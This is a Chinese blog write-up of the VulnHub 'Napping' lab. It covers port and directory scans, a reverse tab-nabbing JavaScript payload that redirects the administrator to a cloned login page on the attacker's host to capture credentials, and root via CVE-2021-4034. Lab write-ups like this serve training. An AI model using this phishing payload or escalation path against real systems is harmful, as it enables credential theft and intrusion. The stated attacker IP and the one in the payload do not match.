记一次钓鱼靶机测试

Napping


攻击机kali:192.168.0.105

靶机:192.168.0.103(使用virtualbox搭建)

下载地址:https://download.vulnhub.com/napping/napping-1.0.1.ova

一 · 靶机的发现与信息搜集:

使用 networkdiscover 扫描当前网段,发现靶机ip为 192.168.0.103
networkdiscover -i eth0 -r 192.168.0.0/24
获取ip地址后扫描当前靶机开放端口,发现仅开放 22、80端口
nmap -p1-65535 -sV -n -A  192.168.0.103

记一次钓鱼靶机测试

扫描当前站点web目录,没有找到特别的发现。开始在网站的功能点上寻找漏洞
[09:23:44] 200 -    0B  - /config.php
[09:23:48] 200 -    1KB - /index.php
[09:23:48] 200 -    1KB - /index.php/login/
[09:23:50] 302 -    0B  - /logout.php  ->  index.php
[09:23:55] 200 -    2KB - /register.php
[09:23:56] 403 -  278B  - /server-status
访问当前靶机80端口,注册后发现站点是一个博客推广网站,中间部分能填写当前博客的网址。
还有一个重置密码和一个登出的按钮,咱留着后面再试

记一次钓鱼靶机测试

填写链接后点击按钮会打开新标签页到填写链接的地址,使用 dnslog 测试后发现存在ssrf

记一次钓鱼靶机测试

二 · 漏洞发现

1 · 对管理员的钓鱼

(1)查看页面源码
描述中说到了,所有提交的链接都将由管理员审核。是否就意味着管理员会查看提交的 URL 所指向的内容。
查看页面源码发现应存在一处 Tab Nabbing 漏洞。下面是一个网上找到的比较通俗易懂的解释:https://kebingzao.com/2020/05/14/a-target-blank/
再来看靶机页面的源码,target="_bank" 说明了此处确实是有可能存在这一个漏洞的。

记一次钓鱼靶机测试

(2)开始钓鱼

​ 使用wget 把登录页面的源码下载下来,然后再制作一个恶意链接。

wget http://192.168.0.103/index.php

​ 我们将恶意的伪造页面保存为 index.html ,将含有恶意 js 代码的页面保存为 evil.html

	钓鱼页面源码:
<!DOCTYPE html>
<html>
    <head>
        <title>My Blog</title>
    </head>
<body>
    <script>
        if(window.opener) window.opener.parent.location.replace('http://192.168.0.104/index.html');
        if(window.opener  != window) window.opener.parent.location.replace('http://192.168.0.104/index.html');
</script>
</body>
</html>
随后将两个页面分别放进 /var/www/html 文件夹下,并使用python3开启 80 端口web服务
python3 -m http.server 80

记一次钓鱼靶机测试

成功使用 wireshark 看到鱼儿上钩了

记一次钓鱼靶机测试

三 · 获取shell并提权

使用获取的账号密码登录 站点后台,发现密码错误。而后登录 ssh 成功连接。
上传提权辅助脚本,下载地址:https://github.com/mzet-/linux-exploit-suggester

记一次钓鱼靶机测试

成功使用 CVE-2021-4034 提权为root,并进入 root目录

记一次钓鱼靶机测试

上一篇:Struts2多文件上传原理和示例


下一篇:《ASP.NET MVC4 WEB编程》学习笔记------Entity Framework的Database First、Model First和Code Only三种开发模式